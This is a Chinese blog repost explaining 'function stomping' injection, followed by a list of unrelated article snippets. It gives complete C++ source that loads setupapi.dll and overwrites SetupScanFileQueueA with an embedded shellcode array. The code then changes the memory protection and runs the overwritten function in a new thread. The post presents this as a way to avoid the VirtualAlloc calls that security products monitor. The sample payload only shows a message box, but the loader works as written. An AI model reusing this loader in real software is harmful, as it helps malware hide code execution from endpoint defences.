函数篡改注入

news/2025/1/20 14:38:13/文章来源:https://www.cnblogs.com/websecyw/p/18681327

一、介绍

利用函数篡改注入可以避免使用 VirtualAlloc/Ex WinAPI 调用,使用新代码替换原始函数的字节,导致函数被替换或不再按预期工作。相反,函数将执行不同的逻辑。要实现这一点,需要一个被践踏的牺牲函数地址

(1)选择目标函数

本地获取函数地址很简单,但用这种技术获得的主要关注点是哪个函数。覆盖常用函数可能导致有效负载的不可控执行或进程崩溃。因此,很明显,针对 ntdll.dllkernel32.dll 和 kernelbase.dll 导出的函数是有风险的。相反,应该针对使用频率较低的函数。

(2)实现流程

1、使用 LoadLibraryA 将 Setupapi.dll 加载到本地进程内存中

2、然后使用 GetProcAddress 检索函数的地址。

3、下一步是破坏函数并用有效载荷替换它,使用 VirtualProtect 标记其内存区域为可读可写以确保可以覆盖函数。

4、将有效载荷写入函数的地址,

5、最后,再次使用 VirtualProtect 将该区域标记为可执行(RX 或 RWX)。

二、实现代码

#include <windows.h>
#include <iostream>
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";int main() {HANDLE hThread = NULL;DWORD dwOldProtection = NULL;HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);printf("[+] 函数 \"%s\" 的地址:0x%p \n", SACRIFICIAL_FUNC, pAddress);printf("[#] 按 <Enter> 键加载 \"%s\" ... ", SACRIFICIAL_DLL);getchar();VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);memcpy(pAddress, shellcode, sizeof(shellcode));VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);if (hThread != NULL)WaitForSingleObject(hThread, INFINITE);printf("[#] 按 <Enter> 键退出 ... ");getchar();
}

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/872164.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NS3环境配置:NetAnim工具:通用安装

在NS3中需要使用进行网络可视化,其中工具NetAnim是官网源代码中所带工具: 编译NetAnim工具:cd netanim-3.109/ make clean qmake NetAnim.pro make 运行Netanim工具:cd netanim-3.109/ ./NetAnim 以上步骤通用于所有Netanim版本的安装

超大体积文本的快速打开查询EmEditor

前言 无法用grep精确查找日志内容的情况下,我会选择将日志文件拉到本地用文本编辑器打开查找关键信息 但有时候需要查看上百MB的日志文件,我们用常规的VsCode或者记事本打开容易出现卡死的问题 (据说win11的记事本倒是解决了这个问题) EmEditor 推荐使用EmEditor这个软件,…

请使用纯js实现一个横向或纵向的无缝滚动效果

以下是一个使用纯JavaScript实现的简单无缝滚动效果的示例。这个例子是横向滚动的,但你可以通过修改CSS和JavaScript中的某些部分来轻松实现纵向滚动。 HTML: <div id="scrollContainer"><div id="scrollContent"><img src="image1.j…

注解开发 -2025/1/19

纯注解开发bean管理 知识点1:@Autowired名称 @Autowired类型 属性注解 或 方法注解(了解) 或 方法形参注解(了解)位置 属性定义上方 或 标准set方法上方 或 类set方法上方 或 方法形参前面作用 为引用类型属性设置值属性 required:true/false,定义该属性是否允…

CTFshow-Web入门模块-爆破-web23

CTFshow-Web入门模块-爆破-web23题目源码 php代码爆破 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 11:43:51 # @Last Modified by: h1xa # @Last Modified time: 2020-09-03 11:56:11 # @email: h1xa@ctfer.com # @link: https://ctfer.com…

prometheus安装及使用

Prometheus 架构图环境准备: 10.0.0.31 prometheus-server31 2 core 2GB+10.0.0.32 prometheus-server32 1 core 1GB+10.0.0.33 prometheus-server331 core 1GB+10.0.0.41 node-exporter41 1 core 1GB+10.0.0.42 node-exporter42 1 core 1GB+10.0.0.43 node-exporter431 core 1…

【SQL Server】Service Broker——在单个数据库建完成对话

一般来说,在SQL Server中调用存储过程,是同步的。如果一个操作比较长,那么我们我们希望执行异步操作。 消息队列概念 。消息队列在SQL Server李,是一种存储消息的结构。消息生产者将消息发送到队列中,而消息消费者则从队列中读取并处理消息。这种机制实现了应用程序组件之…

uos 开发笔记

version GLIBCXX_3.4.26 not found的问题解决 一查看是否有这个库/lib64/libstdc++.so.6 二查看这个库/lib64/libstdc++.so.6中的的GLIBCXX的支持的版本 经查看是环境里已经有这个库,并且是个软连接,软连接到libstdc++.so.6.0.19查看这个库/lib64/libstdc++.so.6中的的GLIBC…

C#/.NET/.NET Core技术前沿周刊 | 第 22 期(2025年1.13-1.19)

前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿,助力技术成长与视野拓宽。欢迎投稿、推荐或自荐优质文章、项目、学习资源等…

映射注入

一、前言 在所有先前的实现中,私有内存类型都用于在执行期间存储有效负载。私有内存是使用 VirtualAlloc 或 VirtualAllocEx 分配的,如下图所示可以看到内存类型属于Private二、映射内存注入 分配私有内存的过程因被恶意软件广泛使用而受到安全解决方案的高度监控。为了避免使…

攀高行为检测识别摄像机

攀高行为检测识别摄像机具有高清晰度和远程监控功能。通过高清晰度的摄像头捕捉到工作人员在高空作业中的实时图像,并通过远程监控系统进行数据传输和处理。管理人员可以随时随地查看工作人员的操作情况,及时发现异常行为并采取相应措施。攀高行为检测识别摄像机支持多种智能…

升降梯人数统计识别摄像机

升降梯人数统计识别摄像机具有高效的图像识别功能。通过高清晰度的摄像头捕捉到升降梯内乘客的图像,并通过图像识别技术进行快速准确的人数统计。并通过智能算法对数据进行融合分析。通过多源数据融合分析,可以更加全面准确地评估升降梯内乘客流量情况。升降梯人数统计识别摄…